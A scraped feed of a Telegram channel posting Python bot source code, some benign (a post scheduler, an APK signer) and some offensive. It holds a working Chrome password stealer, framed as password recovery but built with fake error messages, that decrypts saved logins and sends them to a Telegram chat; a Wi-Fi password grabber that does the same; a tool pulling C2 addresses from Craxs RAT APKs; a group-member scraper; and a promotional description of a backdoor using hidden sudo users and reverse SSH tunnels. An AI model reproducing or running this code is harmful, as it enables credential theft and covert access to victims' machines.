Forwarded from Python Telegram Bots
IP Port Extractor for Craxs RAT APK (Android Remote Tool)
โจ JOIN VIP (Fix errors and add more features)
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โจ JOIN VIP (Fix errors and add more features)
import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext
# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'
def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def decode_base64(encoded_str):
padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
decoded_bytes = base64.b64decode(padded_str)
return decoded_bytes.decode('utf-8')
def extract_ips_and_ports_from_apk(apk_path):
md5_hash = calculate_md5(apk_path)
results = []
with tempfile.TemporaryDirectory() as temp_dir:
result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if result.returncode != 0:
return "Error: jadx failed to decompile the APK."
java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')
for file_path in java_files:
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()
host_matches = client_host_pattern.findall(content)
port_matches = client_port_pattern.findall(content)
if host_matches and port_matches:
host_base64 = host_matches[0]
port_base64 = port_matches[0]
try:
decoded_host = decode_base64(host_base64)
decoded_port = decode_base64(port_base64)
message = (f"IP: {decoded_host}\n"
f"Port: {decoded_port}\n"
f"Join: @EFXTV")
results.append(message)
except Exception as e:
results.append(f"Error decoding base64 strings: {e}")
return "\n\n".join(results) if results else "No IPs or Ports found."
async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")
async def handle_document(update: Update, context: CallbackContext):
file = update.message.document
file_id = file.file_id
file_name = file.file_name
file_path = os.path.join(tempfile.gettempdir(), file_name)
try:
# Get the file object
telegram_file = await context.bot.get_file(file_id)
# Download the file
await telegram_file.download_to_drive(file_path)
# Process the APK file
message = extract_ips_and_ports_from_apk(file_path)
# Send the result back to the user
await update.message.reply_text(message)
except Exception as e:
await update.message.reply_text(f"An error occurred: {e}")
finally:
# Clean up the temporary file
if os.path.exists(file_path):
os.remove(file_path)
def main():
application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))
application.run_polling()
if __name__ == '__main__':
main()
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐3
๐จ Introducing the Chrome Password Decryptor Bot! ๐จ P1
This bot is designed to help you recover your saved passwords from Google Chrome in a secure and easy way. It extracts and decrypts your saved login information from Chrome's encrypted storage, so you can get access to your credentials even if youโve forgotten them.
Pip installs are:
This bot is designed to help you recover your saved passwords from Google Chrome in a secure and easy way. It extracts and decrypts your saved login information from Chrome's encrypted storage, so you can get access to your credentials even if youโve forgotten them.
Pip installs are:
pip install pywin32
pip install requests
pip install pycryptodome
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
import csv
import requests
import random
import time
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State" % (os.environ['USERPROFILE']))
CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data" % (os.environ['USERPROFILE']))
TELEGRAM_BOT_TOKEN = "YOUR_BOT_API_TOKEN"
TELEGRAM_CHAT_ID = "YOUR_CHAT_ID"
def send_telegram_message(message):
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
payload = {
"chat_id": TELEGRAM_CHAT_ID,
"text": message,
}
try:
response = requests.post(url, data=payload)
response.raise_for_status()
except Exception as e:
print(f"Failed to send message to Telegram: {e}")
def get_secret_key():
try:
with open(CHROME_PATH_LOCAL_STATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome secretkey cannot be found")
return None
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s" % str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome database cannot be found")
return None
def fake_error_message():
fake_messages = [
"Installation failed. Please retry later.",
"An unexpected error occurred during setup.",
"Error: Could not verify the installation process.",
"Setup encountered an error. Please reinstall."
]
print(random.choice(fake_messages))
โค2
๐จ Introducing the Chrome Password Decryptor Bot! ๐จ P2
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
if __name__ == '__main__':
try:
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
csv_writer.writerow(["index", "url", "username", "password"])
secret_key = get_secret_key()
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) != None]
for folder in folders:
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data" % (CHROME_PATH, folder))
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index, login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url != "" and username != "" and ciphertext != ""):
decrypted_password = decrypt_password(ciphertext, secret_key)
csv_writer.writerow([index, url, username, decrypted_password])
message = f"<b>URL:</b> {url}\n<b>Username:</b> {username}\n<b>Password:</b> {decrypted_password}"
send_telegram_message(message)
cursor.close()
conn.close()
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s" % str(e))
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐5โคโ๐ฅ1โค1๐1๐ฅ1
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
Python Telegram Bots pinned ยซSupport My Work! If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing. Https://buymeacoffee.com/efxtv Thank you for your support!ยป
โก Need to send your Wi-Fi passwords directly to your Telegram bot? I just wrote a Python script that does exactly that cleanly and efficiently!
โก The script automatically fetches saved Wi-Fi passwords from your system (works on Windows and Linux) and sends them to a Telegram chat using the Bot API.
โก It uses standard libraries like subprocess, os, and json, along with the popular requests module to interact with Telegram.
โก Setup is easy: you just need to install requests (pip install requests), get your bot token from @BotFather, and know your chat ID.
โกOnce configured, the script will list all available Wi-Fi profiles with their passwords and send them neatly formatted to your Telegram account.
โก Itโs a practical tool for network audits, remote diagnostics, or just keeping a backup of Wi-Fi credentials.
#telegrambot
#python_telegram_bot_source_codes
Source Link ๐ Visit me
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
โก The script automatically fetches saved Wi-Fi passwords from your system (works on Windows and Linux) and sends them to a Telegram chat using the Bot API.
โก It uses standard libraries like subprocess, os, and json, along with the popular requests module to interact with Telegram.
โก Setup is easy: you just need to install requests (pip install requests), get your bot token from @BotFather, and know your chat ID.
โกOnce configured, the script will list all available Wi-Fi profiles with their passwords and send them neatly formatted to your Telegram account.
โก Itโs a practical tool for network audits, remote diagnostics, or just keeping a backup of Wi-Fi credentials.
#telegrambot
#python_telegram_bot_source_codes
Source Link ๐ Visit me
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
โค1
import subprocess
import requests
import os
import json
BOT_TOKEN = 'YOUR_BOT_TOKEN_HERE'
CHAT_ID = 'YOUR_CHAT_ID_HERE'
def get_wifi_passwords():
wifi_passwords = {}
platform = os.name
if platform == 'nt':
output = subprocess.check_output('netsh wlan show profiles', shell=True).decode()
profiles = [line.split(":")[1].strip() for line in output.split('\n') if "All User Profile" in line]
for profile in profiles:
try:
profile_info = subprocess.check_output(
f'netsh wlan show profile "{profile}" key=clear', shell=True
).decode()
password_lines = [line for line in profile_info.split('\n') if "Key Content" in line]
if password_lines:
password = password_lines[0].split(":")[1].strip()
else:
password = "No password found"
wifi_passwords[profile] = password
except subprocess.CalledProcessError:
wifi_passwords[profile] = "Could not retrieve password"
elif platform == 'posix':
nmcli_path = shutil.which("nmcli")
if nmcli_path:
try:
result = subprocess.check_output(['nmcli', '-t', '-f', 'NAME,SECURITY', 'connection', 'show']).decode()
networks = [line.split(":")[0] for line in result.strip().split('\n') if line]
for network in networks:
try:
passwd_result = subprocess.check_output(
['nmcli', '-s', '-g', '802-11-wireless-security.psk', 'connection', 'show', network]
).decode().strip()
if passwd_result:
wifi_passwords[network] = passwd_result
else:
wifi_passwords[network] = "No password set or not found"
except subprocess.CalledProcessError:
wifi_passwords[network] = "Could not retrieve password"
except Exception as e:
wifi_passwords["error"] = f"Error: {str(e)}"
else:
wifi_passwords["error"] = "nmcli not found on system."
else:
wifi_passwords["error"] = "Unsupported operating system"
return wifi_passwords
def send_to_telegram(message):
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
payload = {
'chat_id': CHAT_ID,
'text': message,
'parse_mode': 'Markdown'
}
response = requests.post(url, data=payload)
if response.status_code == 200:
print("Successfully sent to Telegram.")
else:
print(f"Failed to send message: {response.status_code}, {response.text}")
def main():
wifi_data = get_wifi_passwords()
if "error" in wifi_data:
send_to_telegram(f"Error fetching WiFi passwords: {wifi_data['error']}")
else:
formatted_message = "*WiFi Passwords:*\n\n"
for wifi, password in wifi_data.items():
formatted_message += f"`{wifi}` : `{password}`\n"
send_to_telegram(formatted_message)
if __name__ == "__main__":
main()
๐ฅ5๐2
Support My Work!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
If you enjoy what I do and want to see more, consider buying me a coffee! Every donation helps me keep creating and growing.
Https://buymeacoffee.com/efxtv
Thank you for your support!
โค3
๐ฎโ๐จWant to send free SMS?
๐ No solution ๐ญ
๐ฏ What if we can send unlimited free SMS via telegram Bot?
๐ Here is the one try it. Keep supporting more telegram bots. Absolutely Free
Visit the source here ๐ Visit me
Support us: Https://buymeacoffee.com/efxtv
๐ No solution ๐ญ
๐ฏ What if we can send unlimited free SMS via telegram Bot?
๐ Here is the one try it. Keep supporting more telegram bots. Absolutely Free
Visit the source here ๐ Visit me
Support us: Https://buymeacoffee.com/efxtv
โค3๐1
๐ Telegram Auto Poster Bot โ Schedule Messages with Ease!
๐ Want to automatically post messages to your Telegram group or channel at specific times? Here's a simple Python tool that gets the job done:
๐ง Key Features:
1. โฐ Time Scheduling
Send messages at a specific time daily using one command:
python app.py post.txt -t "09:00" IST
2. ๐ Post from File
It reads content directly from a .txt file (like post.txt) and posts it as the message.
3. ๐ Timezone Support
Fully supports timezone-aware scheduling (e.g., IST), perfect for local or global audiences.
4. ๐ข Works with Groups & Channels
Just add your bot to any Telegram group or channel and itโll start posting no extra setup!
5. ๐ Repeats Daily Automatically
Once scheduled, the posts go out daily at the same times unless stopped.
๐ฅ Pro version has more features
Access Free Version Here ๐ View Post
๐ฅ Multiple posts a day
โก Post on YouTube, WhatsApp, Facebook, Instagram (All from telegram Bot)
๐ฅ In a different timezone
โก Multiple Files and text files push
๐Many more
๐ Https://buymeacoffee.com/efxtv
#TelegramBot #Scheduler #PythonAutomation #TelegramTools #DailyPostBot
๐๐๐๐๐๐๐
๐ Want to automatically post messages to your Telegram group or channel at specific times? Here's a simple Python tool that gets the job done:
๐ง Key Features:
1. โฐ Time Scheduling
Send messages at a specific time daily using one command:
python app.py post.txt -t "09:00" IST
2. ๐ Post from File
It reads content directly from a .txt file (like post.txt) and posts it as the message.
3. ๐ Timezone Support
Fully supports timezone-aware scheduling (e.g., IST), perfect for local or global audiences.
4. ๐ข Works with Groups & Channels
Just add your bot to any Telegram group or channel and itโll start posting no extra setup!
5. ๐ Repeats Daily Automatically
Once scheduled, the posts go out daily at the same times unless stopped.
๐ฅ Pro version has more features
Access Free Version Here ๐ View Post
๐ฅ Multiple posts a day
โก Post on YouTube, WhatsApp, Facebook, Instagram (All from telegram Bot)
๐ฅ In a different timezone
โก Multiple Files and text files push
๐Many more
๐ Https://buymeacoffee.com/efxtv
#TelegramBot #Scheduler #PythonAutomation #TelegramTools #DailyPostBot
๐๐๐๐๐๐๐
๐4โค1
import sys
import logging
import asyncio
from datetime import datetime
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
import pytz
from telegram import Bot
from telegram.error import TelegramError
# ========================
# CONFIGURATION
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN_HERE"
GROUP_ID_OR_USERNAME = "@yourgroupusername_or_chatid"
# ========================
logging.basicConfig(
format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.INFO
)
logger = logging.getLogger(__name__)
def read_post_content(filepath):
try:
with open(filepath, 'r', encoding='utf-8') as f:
return f.read()
except Exception as e:
logger.error(f"Failed to read post content from {filepath}: {e}")
sys.exit(1)
async def send_message(bot, chat_id_or_username, text):
try:
await bot.send_message(chat_id=chat_id_or_username, text=text)
logger.info("Message sent successfully.")
except TelegramError as e:
logger.error(f"Failed to send message: {e}")
async def scheduled_job(bot, chat_id_or_username, post_content):
logger.info("Scheduled job triggered. Sending message...")
await send_message(bot, chat_id_or_username, post_content)
def parse_args():
if len(sys.argv) < 5 or sys.argv[2] != "-t":
print('Usage: python app.py post.txt -t "HH:MM" "Timezone"')
sys.exit(1)
post_file = sys.argv[1]
time_str = sys.argv[3]
timezone_str = sys.argv[4]
try:
hour, minute = map(int, time_str.split(":"))
except ValueError:
logger.error("Time format must be HH:MM (e.g. 14:50)")
sys.exit(1)
if timezone_str not in pytz.all_timezones:
logger.warning(f"Unknown timezone '{timezone_str}'. Defaulting to Asia/Kolkata (IST).")
timezone_str = "Asia/Kolkata"
return post_file, hour, minute, timezone_str
def main():
post_file, hour, minute, timezone_str = parse_args()
if BOT_TOKEN == "YOUR_TELEGRAM_BOT_TOKEN_HERE" or GROUP_ID_OR_USERNAME == "@yourgroupusername_or_chatid":
logger.error("Please set your BOT_TOKEN and GROUP_ID_OR_USERNAME in the script.")
sys.exit(1)
post_content = read_post_content(post_file)
bot = Bot(token=BOT_TOKEN)
scheduler = AsyncIOScheduler(timezone=pytz.timezone(timezone_str))
scheduler.add_job(
scheduled_job,
trigger=CronTrigger(hour=hour, minute=minute),
args=[bot, GROUP_ID_OR_USERNAME, post_content],
id="daily_post",
replace_existing=True,
)
scheduler.start()
logger.info(f"Scheduled post at {hour:02d}:{minute:02d} {timezone_str}. Waiting...")
try:
asyncio.get_event_loop().run_forever()
except (KeyboardInterrupt, SystemExit):
logger.info("Shutting down scheduler...")
scheduler.shutdown()
if __name__ == "__main__":
main()
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
๐3โค2
Telegram Group User Extractor Bot built with Python: (Python Education)
๐ฅ Telegram User Extractor Bot (Python-Based)
Want to export all members (including admins) from any Telegram group or channel? Here's a powerful CLI bot using Telethon:
1๏ธโฃ Extracts usernames + full names from public/private groups you're in
2๏ธโฃ Saves all data neatly in a users.txt file
3๏ธโฃ Sends the file to your own Telegram (Saved Messages)
4๏ธโฃ Works with your own account (not a bot) using Telegram API
5๏ธโฃ One-command run:
๐ก View the post Here
๐ Get started:
https://my.telegram.org โ Get API ID + Hash
๐ Code: DM me or reply "GET USER BOT"
#telegram #python #userextractor #telethon #groupbot #opensource
For more : Https://buymeacoffee.com/efxtv
๐๐๐๐๐
๐ฅ Telegram User Extractor Bot (Python-Based)
Want to export all members (including admins) from any Telegram group or channel? Here's a powerful CLI bot using Telethon:
1๏ธโฃ Extracts usernames + full names from public/private groups you're in
2๏ธโฃ Saves all data neatly in a users.txt file
3๏ธโฃ Sends the file to your own Telegram (Saved Messages)
4๏ธโฃ Works with your own account (not a bot) using Telegram API
5๏ธโฃ One-command run:
python app.py ๐ก View the post Here
๐ Get started:
https://my.telegram.org โ Get API ID + Hash
๐ Code: DM me or reply "GET USER BOT"
#telegram #python #userextractor #telethon #groupbot #opensource
For more : Https://buymeacoffee.com/efxtv
๐๐๐๐๐
โค1
from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch
import asyncio
api_id = 123456 # Replace with your actual API ID
api_hash = 'your_api_hash_here'
or invite link
target_group = 'https://t.me/group_or_channel_username'
client = TelegramClient('session_name', api_id, api_hash)
async def main():
await client.start()
print(f"Connecting to {target_group}...")
entity = await client.get_entity(target_group)
print("Fetching members...")
offset = 0
limit = 100
all_participants = []
while True:
participants = await client(GetParticipantsRequest(
channel=entity,
filter=ChannelParticipantsSearch(''),
offset=offset,
limit=limit,
hash=0
))
if not participants.users:
break
all_participants.extend(participants.users)
offset += len(participants.users)
print(f"Total users fetched: {len(all_participants)}")
with open('users.txt', 'w', encoding='utf-8') as f:
for user in all_participants:
username = user.username or ''
first_name = user.first_name or ''
last_name = user.last_name or ''
full_name = f"{first_name} {last_name}".strip()
f.write(f"{username} - {full_name}\n")
await client.send_file('me', 'users.txt', caption="Here is the list of users.")
print("users.txt sent to your Saved Messages.")
with client:
client.loop.run_until_complete(main())
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โก1
๐ APK Signer Bot - Sign Your Android APKs Instantly!
Failed to signing APKs manually? Just send your unsigned .apk file to telegram APK signer bot and get your project signed automatically.
โ What this bot can do: View code
๐ฅ Accepts any unsigned APK file directly in chat
๐ Automatically signs it using a secure keystore
โก๏ธ Sends back the signed APK in seconds
๐ก Works 24/7 No need to install Android Studio
๐ค Fully automated, privacy-safe, and open-source
๐ฌ How to use:
Just type /start and upload your APK file thatโs it!
๐ Try it now: @ Your Bot User name
#TelegramBot #AndroidDev #APKSigner #PythonBot #AppDevelopment
๐ฅ For more : Https://buymeacoffee.com/efxtv
๐๐๐๐๐
Failed to signing APKs manually? Just send your unsigned .apk file to telegram APK signer bot and get your project signed automatically.
โ What this bot can do: View code
๐ฅ Accepts any unsigned APK file directly in chat
๐ Automatically signs it using a secure keystore
โก๏ธ Sends back the signed APK in seconds
๐ก Works 24/7 No need to install Android Studio
๐ค Fully automated, privacy-safe, and open-source
๐ฌ How to use:
Just type /start and upload your APK file thatโs it!
๐ Try it now: @ Your Bot User name
#TelegramBot #AndroidDev #APKSigner #PythonBot #AppDevelopment
๐ฅ For more : Https://buymeacoffee.com/efxtv
๐๐๐๐๐
๐1
import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
ApplicationBuilder,
MessageHandler,
CommandHandler,
ContextTypes,
filters
)
# Telegram bot by @efxtve
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN" # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"
logging.basicConfig(level=logging.INFO)
def create_keystore():
if os.path.exists(KEYSTORE_FILE):
return
subprocess.run([
KEYTOOL, "-genkey", "-v",
"-keystore", KEYSTORE_FILE,
"-alias", ALIAS,
"-keyalg", "RSA",
"-keysize", "2048",
"-validity", "10000",
"-storepass", STOREPASS,
"-keypass", KEYPASS,
"-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
], check=True)
def sign_apk(apk_path):
subprocess.run([
APKSIGNER, "sign",
"--ks", KEYSTORE_FILE,
"--ks-key-alias", ALIAS,
"--ks-pass", f"pass:{STOREPASS}",
"--key-pass", f"pass:{KEYPASS}",
apk_path
], check=True)
# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text(
"๐ Send an unsigned APK.\n\n"
)
async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
document = update.message.document
if not document.file_name.endswith(".apk"):
await update.message.reply_text("โ Please send a valid `.apk` file.")
return
await update.message.reply_text("๐ฅ Downloading APK...")
file = await context.bot.get_file(document.file_id)
apk_filename = f"input_{document.file_name}"
await file.download_to_drive(apk_filename)
try:
create_keystore()
sign_apk(apk_filename)
await update.message.reply_text("โ APK signed successfully. Sending back...")
with open(apk_filename, "rb") as f:
await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))
except subprocess.CalledProcessError:
await update.message.reply_text("โ Failed to sign APK.")
finally:
os.remove(apk_filename)
def main():
app = ApplicationBuilder().token(BOT_TOKEN).build()
app.add_handler(CommandHandler("start", start))
app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
print("[*] Bot is running...")
app.run_polling()
if __name__ == "__main__":
main()
#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
โค1
Python Telegram Bots pinned ยซimport os import subprocess import logging from telegram import Update, InputFile from telegram.ext import ( ApplicationBuilder, MessageHandler, CommandHandler, ContextTypes, filters ) # Telegram bot by @efxtve BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"โฆยป
๐จ This Script Can Be a Hacker's Backdoor Weapon - Are You Prepared to Detect It? ๐
Cybersecurity researchers and Penetration Tester: take note. This isn't just code - it's a persistent, low-footprint tunnel that attackers could deploy in seconds.
Note: We recently analyzed a powerful script that demonstrates how easily a remote tunnel can be created - with almost no user interaction. While this is meant strictly for educational and research purposes, its misuse could lead to serious consequences if deployed maliciously.
๐ฉโ๐ป Contact admin for more: @errorfix_tv
๐ง Silent Sudo User Creation - Without Raising Flags
The script programmatically adds a sudo-enabled user, grants passwordless access, and drops them into the sudoers file โ all without user interaction.
๐ฃ Covert Reverse SSH Tunnel via Serveo.net
Attackers can expose a victim's SSH port over the internet, bypassing NAT/firewalls โ no need to touch the router or configure port forwarding.
๐ฌ Instant Exfiltration Channel Using Telegram Bots
Once the tunnel is live, the attacker gets real-time alerts with the public-facing IP and port, giving them instant access โ no callback servers needed.
๐งฑ Persistence by Design โ Auto-Reconnect on Drop
The tunnel is kept alive persistently. If Serveo dies or disconnects, the script spins it right back up. Most blue teams wonโt notice unless theyโre actively watching process trees.
๐ Minimal Footprint, Temporary Logs, and No Obvious Artifacts
All logs are stored in temp directories. No cron jobs, no services โ it lives in memory and subprocesses, making it stealthier than most reverse shells.
โ ๏ธ Red teamers and blue teamers alike should analyze scripts like this โ because black hats already are.
๐ก Understanding the methods is the first step in building effective detection and defense.
Want a full breakdown or PoC? Drop a message.
โ ๏ธ Source code in controlled environment for students only: [ VIEW ]
#CyberSecurity #PenTest #RedTeam #Backdoor #TTPs #MalwareAnalysis
Cybersecurity researchers and Penetration Tester: take note. This isn't just code - it's a persistent, low-footprint tunnel that attackers could deploy in seconds.
Note: We recently analyzed a powerful script that demonstrates how easily a remote tunnel can be created - with almost no user interaction. While this is meant strictly for educational and research purposes, its misuse could lead to serious consequences if deployed maliciously.
๐ฉโ๐ป Contact admin for more: @errorfix_tv
๐ง Silent Sudo User Creation - Without Raising Flags
The script programmatically adds a sudo-enabled user, grants passwordless access, and drops them into the sudoers file โ all without user interaction.
๐ฃ Covert Reverse SSH Tunnel via Serveo.net
Attackers can expose a victim's SSH port over the internet, bypassing NAT/firewalls โ no need to touch the router or configure port forwarding.
๐ฌ Instant Exfiltration Channel Using Telegram Bots
Once the tunnel is live, the attacker gets real-time alerts with the public-facing IP and port, giving them instant access โ no callback servers needed.
๐งฑ Persistence by Design โ Auto-Reconnect on Drop
The tunnel is kept alive persistently. If Serveo dies or disconnects, the script spins it right back up. Most blue teams wonโt notice unless theyโre actively watching process trees.
๐ Minimal Footprint, Temporary Logs, and No Obvious Artifacts
All logs are stored in temp directories. No cron jobs, no services โ it lives in memory and subprocesses, making it stealthier than most reverse shells.
โ ๏ธ Red teamers and blue teamers alike should analyze scripts like this โ because black hats already are.
๐ก Understanding the methods is the first step in building effective detection and defense.
Want a full breakdown or PoC? Drop a message.
โ ๏ธ Source code in controlled environment for students only: [ VIEW ]
#CyberSecurity #PenTest #RedTeam #Backdoor #TTPs #MalwareAnalysis
โค3๐1